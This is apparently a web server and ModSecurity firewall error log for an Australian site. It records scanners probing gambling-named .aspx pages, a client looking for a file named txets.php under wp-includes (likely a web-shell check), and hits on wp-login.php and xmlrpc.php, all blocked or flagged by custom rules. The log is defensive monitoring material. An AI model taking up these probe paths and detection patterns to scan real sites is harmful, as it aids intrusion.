[Tue Mar 10 22:05:24.494554 2026] [:error] [pid 3965:tid 3973] [client 81.167.26.57:53850] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abAlJJN2nrVwtq9b0rbEcwAAAMY"]
2026/03/10 22:05:26 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /ufabet%20wallet%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet%20777.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:26.180815 2026] [:error] [pid 3873:tid 3912] [client 81.167.26.57:53882] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abAlJi_mXXwyT3XINrovxQAAAEA"]
2026/03/10 22:05:27 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /ufabet%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:27.710747 2026] [:error] [pid 3873:tid 3913] [client 81.167.26.57:53912] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abAlJy_mXXwyT3XINrovygAAAEE"]
[Tue Mar 10 22:05:29.397500 2026] [:error] [pid 3874:tid 3955] [client 81.167.26.57:53944] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abAlKeK9H96QUJV_mxY7IwAAAJA"]
2026/03/10 22:05:29 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /w69%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/w69%20slot.aspx", host: "vetstars.com.au"
2026/03/10 22:05:31 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /wallet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/wallet%20slot.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:31.077547 2026] [:error] [pid 3965:tid 3982] [client 81.167.26.57:53986] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abAlK5N2nrVwtq9b0rbEjgAAAM8"]
2026/03/10 22:05:32 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /we88%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/we88%20slot.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:32.602591 2026] [:error] [pid 3965:tid 3971] [client 81.167.26.57:54018] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abAlLJN2nrVwtq9b0rbElQAAAMQ"]
2026/03/10 22:05:34 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /www%20ufabet%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/www%20ufabet%20com.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:34.290092 2026] [:error] [pid 3965:tid 3990] [client 81.167.26.57:54054] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abAlLpN2nrVwtq9b0rbEngAAANc"]
[Tue Mar 10 22:05:35.818427 2026] [:error] [pid 3873:tid 3931] [client 81.167.26.57:54084] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abAlLy_mXXwyT3XINrov2AAAAFM"]
2026/03/10 22:05:35 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /xo%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/xo%20slot.aspx", host: "vetstars.com.au"
[Tue Mar 10 22:05:37.496507 2026] [:error] [pid 3965:tid 3979] [client 81.167.26.57:54112] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abAlMZN2nrVwtq9b0rbEswAAAMw"]
2026/03/10 22:05:37 [error] 3847#3847: *178777 upstream prematurely closed connection while reading response header from upstream, client: 81.167.26.57, server: vetstars.com.au, request: "GET /yakuza%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/yakuza%20slot.aspx", host: "vetstars.com.au"
[Tue Mar 10 23:07:50.299378 2026] [:error] [pid 3874:tid 3947] [client 43.135.144.81:50296] [client 43.135.144.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abAzxuK9H96QUJV_mxZSwQAAAIg"]
[Wed Mar 11 03:18:12.323368 2026] [:error] [pid 3926:tid 3931] [client 144.6.171.46:58002] [client 144.6.171.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abBudJKvwWN8suL4ODHsgwAAAMM"]
[Wed Mar 11 03:18:15.248051 2026] [:error] [pid 3809:tid 3861] [client 144.6.171.46:58030] [client 144.6.171.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abBudzDpcc8HNLFdqDxUPwAAAEY"]
2026/03/11 03:27:19 [error] 3468#3468: *409489 connect() failed (111: Connection refused) while connecting to upstream, client: 168.119.123.75, server: vetstars.com.au, request: "HEAD / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "vetstars.com.au", referrer: "https://vetstars.com.au/"
[Wed Mar 11 07:07:39.462285 2026] [:error] [pid 11751:tid 11753] [client 64.89.163.10:38416] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "abCkO3KeU7OoUEz26eW-ZQAAAUA"]
[Wed Mar 11 07:07:39.991484 2026] [:error] [pid 6222:tid 6241] [client 64.89.163.10:38424] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "abCkO3s7MIv-0SYBFu20IAAAANE"]
[Wed Mar 11 07:07:40.485526 2026] [:error] [pid 11796:tid 11810] [client 64.89.163.10:38436] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "abCkPAEDXoQrlStpO9AWmQAAAYw"]
[Wed Mar 11 07:07:43.532584 2026] [:error] [pid 6117:tid 6149] [client 64.89.163.10:38484] [client 64.89.163.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "abCkP8U0P9gyi5rKFp6iGAAAAA0"]
[Wed Mar 11 07:48:36.783532 2026] [:error] [pid 11796:tid 11808] [client 209.87.169.86:40458] [client 209.87.169.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abCt1AEDXoQrlStpO9AhbgAAAYo"]
[Wed Mar 11 09:15:53.288508 2026] [:error] [pid 6222:tid 6229] [client 193.187.108.12:43728] [client 193.187.108.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abDCSXs7MIv-0SYBFu3OjgAAAMU"], referer: https://vetstars.com.au/
2026/03/11 09:55:31 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /apollo%20slot%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/apollo%20slot%20pg.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:31.325467 2026] [:error] [pid 53954:tid 53996] [client 54.37.86.223:40138] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abDLk7bD1J_Nhe6jce1qWQAAAEo"]
2026/03/11 09:55:33 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/auto%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:33.025264 2026] [:error] [pid 54045:tid 54065] [client 54.37.86.223:40154] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abDLlSRcKzQ1f-N8TgQAxQAAANI"]
2026/03/11 09:55:34 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflik%20dc.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20dc.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:34.715454 2026] [:error] [pid 53955:tid 54039] [client 54.37.86.223:40180] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abDLltP1Uf6qBkbxZg93swAAAJQ"]
2026/03/11 09:55:36 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflik%20original.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20original.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:36.531694 2026] [:error] [pid 54045:tid 54050] [client 54.37.86.223:40206] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abDLmCRcKzQ1f-N8TgQAzwAAAMM"]
[Wed Mar 11 09:55:38.203676 2026] [:error] [pid 54045:tid 54068] [client 54.37.86.223:40232] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abDLmiRcKzQ1f-N8TgQA1gAAANU"]
2026/03/11 09:55:38 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflik%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20slot.aspx", host: "vetstars.com.au"
2026/03/11 09:55:39 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflik%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20thailand.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:39.851015 2026] [:error] [pid 54045:tid 54047] [client 54.37.86.223:40248] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abDLmyRcKzQ1f-N8TgQA2wAAAMA"]
[Wed Mar 11 09:55:41.498400 2026] [:error] [pid 53955:tid 54031] [client 54.37.86.223:40274] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abDLndP1Uf6qBkbxZg93wAAAAIw"]
2026/03/11 09:55:41 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflix%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20auto.aspx", host: "vetstars.com.au"
2026/03/11 09:55:43 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflix%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20casino.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:43.157658 2026] [:error] [pid 54045:tid 54050] [client 54.37.86.223:40302] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abDLnyRcKzQ1f-N8TgQA4AAAAMM"]
2026/03/11 09:55:44 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflix%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20co.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:44.773570 2026] [:error] [pid 53955:tid 54029] [client 54.37.86.223:40332] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abDLoNP1Uf6qBkbxZg93yAAAAIo"]
2026/03/11 09:55:46 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflix%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:46.600120 2026] [:error] [pid 53953:tid 53964] [client 54.37.86.223:40358] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abDLoniDUTQy-Lyy4w2LiQAAAAc"]
[Wed Mar 11 09:55:48.235866 2026] [:error] [pid 53954:tid 53999] [client 54.37.86.223:40378] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abDLpLbD1J_Nhe6jce1qcQAAAE0"]
2026/03/11 09:55:48 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /betflix%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20wallet.aspx", host: "vetstars.com.au"
2026/03/11 09:55:49 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /casino%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflik.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:49.882356 2026] [:error] [pid 54045:tid 54047] [client 54.37.86.223:40398] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abDLpSRcKzQ1f-N8TgQA6QAAAMA"]
[Wed Mar 11 09:55:51.499179 2026] [:error] [pid 54045:tid 54066] [client 54.37.86.223:40420] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abDLpyRcKzQ1f-N8TgQA7wAAANM"]
2026/03/11 09:55:51 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /casino%20betflix.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflix.aspx", host: "vetstars.com.au"
2026/03/11 09:55:53 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /casino%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:53.151269 2026] [:error] [pid 53953:tid 53969] [client 54.37.86.223:40448] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abDLqXiDUTQy-Lyy4w2LkgAAAAw"]
[Wed Mar 11 09:55:54.946345 2026] [:error] [pid 53954:tid 54010] [client 54.37.86.223:40470] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abDLqrbD1J_Nhe6jce1qfgAAAFc"]
2026/03/11 09:55:54 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /dg%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/dg%20casino.aspx", host: "vetstars.com.au"
2026/03/11 09:55:56 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /g2g%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/g2g%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:56.535834 2026] [:error] [pid 54045:tid 54062] [client 54.37.86.223:40488] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abDLrCRcKzQ1f-N8TgQA-gAAAM8"]
2026/03/11 09:55:58 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /galaxy%20auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20auto%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:58.157776 2026] [:error] [pid 53954:tid 53985] [client 54.37.86.223:40518] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abDLrrbD1J_Nhe6jce1qgQAAAEE"]
2026/03/11 09:55:59 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /galaxy%20bet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20bet%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:55:59.791116 2026] [:error] [pid 54045:tid 54058] [client 54.37.86.223:40540] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abDLryRcKzQ1f-N8TgQBCQAAAMs"]
2026/03/11 09:56:01 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /h25%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/h25%20com.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:56:01.553384 2026] [:error] [pid 53953:tid 53981] [client 54.37.86.223:40560] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "abDLsXiDUTQy-Lyy4w2LlgAAABg"]
2026/03/11 09:56:03 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /jili%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/jili%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:56:03.153774 2026] [:error] [pid 53954:tid 54003] [client 54.37.86.223:40592] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abDLs7bD1J_Nhe6jce1qhwAAAFE"]
2026/03/11 09:56:04 [error] 53946#53946: *650126 upstream prematurely closed connection while reading response header from upstream, client: 54.37.86.223, server: vetstars.com.au, request: "GET /joker%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 09:56:04.748841 2026] [:error] [pid 54045:tid 54069] [client 54.37.86.223:40618] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abDLtCRcKzQ1f-N8TgQBEgAAANY"]
